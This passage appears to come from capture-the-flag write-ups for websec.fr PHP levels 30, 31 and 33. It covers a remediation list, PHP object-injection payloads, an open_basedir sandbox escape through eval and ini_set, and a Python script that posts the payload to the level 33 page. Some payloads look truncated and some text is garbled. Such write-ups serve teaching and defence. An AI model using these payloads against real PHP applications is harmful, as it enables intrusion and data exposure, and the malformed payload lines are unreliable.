- **Atomic File Operations:** Ensure file validation (e.g., checking file hashes, extensions) occurs before writing the file to disk, and avoid relying on deletion timing to clean up files.
- **Unpredictable Temporary Filenames:** Use unpredictable or unique filenames for uploaded files to reduce the chance of guessing the file name and exploiting timing windows.
- **Disallow Executable Extensions:** Ensure that uploaded files are not executable and prevent PHP code execution by disallowing extensions like ‘.php‘ in file uploads.
- **Avoid Predictable Delays:** Refrain from using predictable delays (‘sleep(1)‘) as part of security mechanisms, as they may introduce unintended timing windows.
- **Mutexes for File Handling:** Consider using proper mutex mechanisms (e.g., PHP pthreads) to ensure file operations are synchronized and race conditions are avoided.

Level 30

PHP Object Injection Exploit Leveraging Object Destruction and Exception Handling

Severity:

Critical

How it was discovered:

This challenge demonstrates a sophisticated PHP object injection vulnerability that bypasses typical security measures through the manipulation of PHP's object destruction sequence. The vulnerability arises from unsafe deserialization of user input combined with problematic exception handling. While the application performs output buffering cleanup when unserialization fails, a carefully crafted payload can still trigger the desired destructor method, enabling the exposure of sensitive information such as the flag.

The attack works by constructing a nested object structure where the outer object 'B' contains a 'Throwable' object as its property. This manipulation interferes with the normal exception handling flow, ensuring the 'B' object's destructor is executed before the output buffer is cleared, thereby allowing the flag to be displayed.

The payload that successfully triggers the vulnerability is:

```
O:1:"B":1:i:0;O:9:"Throwable":0:
```

This exploit highlights the subtle interaction between PHP's object lifecycle management and its exception handling mechanisms.

Exploit Process:

The attacker constructs a payload containing an object of class 'B' that has an embedded 'Throwable' object. Upon deserialization, the exception handling mechanism within PHP is triggered, and the object 'B''s destructor is executed before output buffering is cleared, revealing the flag.

Remediation:

- **Avoid Unserialize on User Input:** Never pass untrusted input directly to the `unserialize()` function. Safer alternatives, such as JSON, should be used for deserialization.
- **Use PHP 7.0+ Allowed Classes Option:** If unserialization is required, utilize the `allowed_classes` option in PHP 7.0+ to restrict which classes can be instantiated during deserialization.
- **Avoid Sensitive Operations in Destructors:** Sensitive operations should never be placed in destructors, as their execution timing is unpredictable during error conditions.
- **Implement Proper Output Buffering:** Ensure that output buffering mechanisms cannot be bypassed through object injection attacks. Output should be sanitized and controlled properly.

This vulnerability demonstrates how even seemingly robust security measures can be bypassed through an in-depth understanding of language internals and object lifecycle management in PHP.

Level 31

Bypassing open_basedir Restriction via Directory Traversal and Runtime Configuration Changes

Severity:

Critical

How it was discovered:

This challenge demonstrates a clever bypass of PHP's `open_basedir` sandbox restriction through directory manipulation and runtime configuration changes. The vulnerable script sets `open_basedir` to `/sandbox`, restricting access to files outside of this directory, while allowing arbitrary code execution via `eval($_GET['c'])`.

The key to solving this challenge lies in exploiting the interaction between directory traversal and the ability to modify the open_basedir configuration at runtime. The attacker starts by discovering the /sandbox/tmp subdirectory, which is outside the restricted environment. The attacker can then:

- Change into the /sandbox/tmp directory.
- Use ini_set('open_basedir', '..') to adjust open_basedir to point to the parent directory (/sandbox).
- Perform a series of directory traversals (chdir('..')) to move up to the root directory.
- Finally, set open_basedir to /, removing the restriction and gaining access to the protected /flag.php file.

The successful payload is:

```
chdir('/sandbox/tmp'); ini_set('open_basedir', '..'); chdir('..'); chdir('..'); ini_set('open_basedir',
```

Remediation:

- Avoid Dangerous Functions with User Input: Functions like eval() should not be used with user input. If dynamic execution is required, strict allow-listing should be enforced.
- Configure open_basedir in php.ini: open_basedir should be set in the php.ini file, not allowed to be modified at runtime through ini_set().
- Disable Dangerous Functions: Use the disable_functions directive to disable functions like eval() and exec() to prevent code execution vulnerabilities.
- Hardening Sandboxed Environments: Sandboxed directories should be designed in such a way that subdirectories cannot escape the sandbox. Implement strict permissions and continuous monitoring.

This vulnerability demonstrates the importance of combining multiple layers of security, as well as the need for careful configuration of sandboxed environments to prevent attackers from circumventing restrictions.

Level 33

PHP Object Injection via Throwable to Bypass Output Buffering

Severity:

High

How it was discovered:

This challenge demonstrates a clever PHP object injection attack that exploits exception handling behavior to leak data from the output buffer. The vulnerable application accepts serialized data via a POST request, and internally places the flag into the output buffer before attempting to clear it after deserialization.

The key vulnerability arises when the attacker submits a serialized payload containing a ‘Throwable‘ object nested inside a class ‘B‘. Because ‘Throwable‘ is an interface and cannot be instantiated, this causes a fatal error during deserialization. Crucially, this error is thrown before the buffer-clearing function executes, allowing the contents of the output buffer|includi the flag|to be exposed in the response.

The payload works despite strict size limitations (under 47 bytes), and demonstrates that even highly constrained attack surfaces can still lead to full compromise if deserialization and exception handling aren’t implemented securely.

Exploit Process:

The attacker crafts a minimal serialized object:

O:1:"B":1:i:0;O:9:"Throwable":0:

This causes PHP to throw an error during deserialization, bypassing the code that normally clears the output buffer and exposing the flag.

Exploit Code

```
import requests

url = "https://websec.fr/level33/index.php"
payload = 'O:1:"B":1:{i:0;O:9:"Throwable":0:{}}␣'
data = {
    'payload': payload
}
response = requests.post(url, data=data)

print("\n---␣Server␣Response␣---\n")
print(response.text)
```

Remediation:

- Avoid Using unserialize() on User Input: PHP's serialization mechanism is not safe for untrusted data. Safer alternatives like JSON should be used.
- Use Class Whitelisting: If unserialize() must be used, apply the allowed_classes parameter to restrict deserialization to known-safe classes.
- Robust Error Handling: Ensure that error and exception handling cannot short-circuit critical security logic like output buffer cleanup.
- Sanitize All Inputs: Validate and sanitize all user inputs before processing them.

This vulnerability highlights how internal PHP behaviors|such as exception handling and object lifecycle management|can be manipulated to subvert intended protections.